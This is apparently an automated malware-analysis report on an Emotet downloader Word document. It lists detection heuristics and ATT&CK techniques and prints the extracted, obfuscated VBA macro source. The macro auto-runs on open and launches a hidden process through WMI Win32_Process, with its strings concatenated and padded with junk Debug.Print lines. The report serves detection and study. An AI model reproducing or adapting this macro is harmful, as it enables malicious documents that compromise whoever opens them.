MALICIOUS
190
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1105 Ingress Tool Transfer
The file is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-10001946-0', indicating it's a downloader for the Emotet family. High-severity heuristics confirm the presence of VBA macros, specifically an AutoOpen macro that utilizes CreateObject, a common technique for executing malicious code. The AutoOpen macro is designed to download and execute a second-stage payload, consistent with Emotet's behavior.
Heuristics 7
-
ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Function LpGzIpPj(rjL8SNti) Set LpGzIpPj = CVar(CreateObject(rjL8SNti)) End Function -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub _ autoopen( _ ) -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4667 bytes |
SHA-256: 1036683a7002365fb96c44705034ca51118ec6ae6a0dbec7368bdd2bc6591329 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "l7M_E8, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "DzT595, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "bNdwZj, 2, 2, MSForms, ComboBox"
Sub _
autoopen( _
)
Debug.Print "tLYsOIw" + ("U3zJULOb" + ("KMITfcE" + "N8fYQFa" + "XmMks7Xw" + ("WnqQnN6K" + ("uPJfPUt6") + "D6hX_2O" + "K8rCYN7")) + "sLW6rz8M" + ("RYMdU4nj")) + "Ow0Rqj" + (KvSUuC) + "JJNubw" + "PHAiXKw" + "PZFNEPK3" + "kZAoJaCs"
T1WRYYs
Debug.Print "kFpZfl" + ("AAsOTB" + ("Yz5AVzR" + "T2sKBRR" + "Um_AZU_" + ("KzPplX1" + ("nq86zUz") + "zC_tbKzn" + "YYjAtSE")) + "lQUUC5" + ("ciwqMRk")) + "ZdXF29z" + (zMpOmuw) + "Zps9z7z" + "puRG_A" + "fJP4Si5h" + "lT3D3r"
End Sub
Attribute VB_Name = "idAwTmA"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "pWPp9k7P"
Attribute VB_Name = "fwBdSrGv"
Attribute VB_Name = "o12K3YMz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "MO3RbJjv"
Function T1WRYYs()
QijMSBFD = ThisDocument.DzT595 + ThisDocument.bNdwZj + ThisDocument.l7M_E8
Debug.Print "dWEqFV" + ("tRXosQK" + ("ZXjqBN" + "IjdkmHz" + "L4j9SFMI" + ("v2wHlK" + ("STkiI4T7") + "pRJjv4B" + "HMRWhjCR")) + "U4ZrOcj" + ("mopXPpVM")) + "E7FTTzr" + (B0Glwkbp) + "wGMoViN" + "BsMWA6bb" + "E6iXmMs" + "szz_9m"
tCcMJO = "m" + "ts" + ":Win32" + "_Proces"
Debug.Print "P1H17pz" + ("f3NAz_j" + ("DsaNFh" + "GYhwlzLK" + "W0C83i" + ("LTWrpHnU" + ("EFvkbI") + "PuBCB2j" + "PRH17Y")) + "EbbuaL" + ("IEJj3i6Z")) + "EuLRjH" + (RCuLKraR) + "Fr4juE3w" + "OvXsYu" + "Gw7Uvb2" + "w6dIkM"
k9UYoYwE = Pj_HZus3 + "w" + "in" + "mg" + iCwaX1J + tCcMJO + "s"
Debug.Print "lc8qtX" + ("N4r3wl_H" + ("Q2AsPChA" + "DSh4XwH" + "dzf5LwJ" + ("SXlGYPPU" + ("K5Jt2W") + "SwiCiokL" + "wz7GMuoJ")) + "uRnCuFJo" + ("hikzwC")) + "t8jMIa" + (EGsZFs) + "CEKcSZi" + "DMYPHTKc" + "zdsJNp" + "C8A98G8v"
LpGzIpPj(k9UYoYwE) _
.Create# QijMSBFD, BicjbEO0, hbSkz0r, ph9zaiKW
Debug.Print "r_FOYL" + ("wuri0waj" + ("YVkH__6Z" + "jp4niT" + "wCr19_BO" + ("hcw2f7" + ("at_GU0Ja") + "sEEpzj" + "BoXkFvAw")) + "T1J9Hiz" + ("tttrh_uX")) + "wqSTh5" + (wnOFjMj) + "H69j4j" + "NT82lVY" + "p5EhmDP0" + "jwMjHf1"
End Function
Attribute VB_Name = "aGKspQl6"
Function hbSkz0r()
tCcMJO = "mt" + "s" + ":Win32" + "_Proces"
Debug.Print "c74is7l" + ("VYShjE" + ("jYzjpU3" + "XkEJoP4" + "v60Zj8a5" + ("jhwuulIs" + ("ulAMFi") + "BwJansJK" + "s3IvHA")) + "i1Vijh" + ("vU5wTC7u")) + "kQ6Ekj9" + (k4Id_l_z) + "ZQmGtz1" + "w18Z4sTV" + "NwkprmB" + "uKUNvXYK"
k9UYoYwE = OvSG4A + "w" + "in" + "mg" + NwrQzN7 + tCcMJO + "s" + "Startup"
Debug.Print "GbwOnKi" + ("pInXPB" + ("ZfDtiE" + "PHzzvz" + "UqDw7D" + ("svlGwMMu" + ("fV1skWQ") + "CsFa_i" + "d9LIbLQ2")) + "XhG7ChW" + ("NrFrj_")) + "EwVmnQ" + (nHQKJj2) + "qZNHpjDw" + "OiRpJr" + "Eb3zR4" + "UGDKs1"
Set hbSkz0r = LpGzIpPj(k9UYoYwE)
Debug.Print "JUDDUGi" + ("wCijSco" + ("wo4apl" + "HCOXOnRJ" + "kz174wa" + ("YiSiqKv2" + ("opc2W9b") + "mZMXTA" + "SCvE_d")) + "Y2jiNdzO" + ("pO0d9c")) + "XURH0i" + (UwSiwL) + "uG3r6R" + "oFNsG4ET" + "BhdW4FwI" + "wHblo4k3"
With hbSkz0r
Debug.Print "zDRrPo0" + ("bQTvTN" + ("M9HmqZE" + "Jd_Qk7" + "vz3TuLwa" + ("k2mIXwjY" + ("zQoNL9df") + "zVnCZamN" + "QLWrXpqC")) + "mLE1to" + ("GzsTqWv")) + "iu9KS5" + (p681jSa) + "LwQzTvR" + "lEBf_8" + "ETJDbSA" + "lM1miR6J"
. _
ShowWindow = WR0qNN + aS6AzENH + oiPiXCE + LwHW296 + Rd2OHAwn
Debug.Print "uY4E1Gm" + ("lt_w_i" + ("fj1_iX" + "DNaRFfu_" + "NkkoXc" + ("jIvrKRdX" + ("OiZA8Nw") + "zDN_AU" + "Ss9MYL")) + "pHXCIwsW" + ("zpPoX4dP")) + "YJuWP0Gq" + (uTrUJFY) + "JW21TV" + "lVFuIW" + "hXAwKs" + "owq07i"
End With
Debug.Print "bSIC8P" + ("jzIQijz" + ("ZJvYPq" + "d8c7ASP" + "fomlpFB" + ("VLcllO" + ("S1wsSn") + "TSdbph5" + "vLldzDuv")) + "zJ0VOZ" + ("VswTAoKS")) + "Kf4Ssnq" + (nhzE8MX0) + "zPB4kiD" + "J9ShQLj" + "kbVpMiA" + "j3Gnq45"
End Function
Attribute VB_Name = "fSwpcE"
Function LpGzIpPj(rjL8SNti)
Set LpGzIpPj = CVar(CreateObject(rjL8SNti))
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.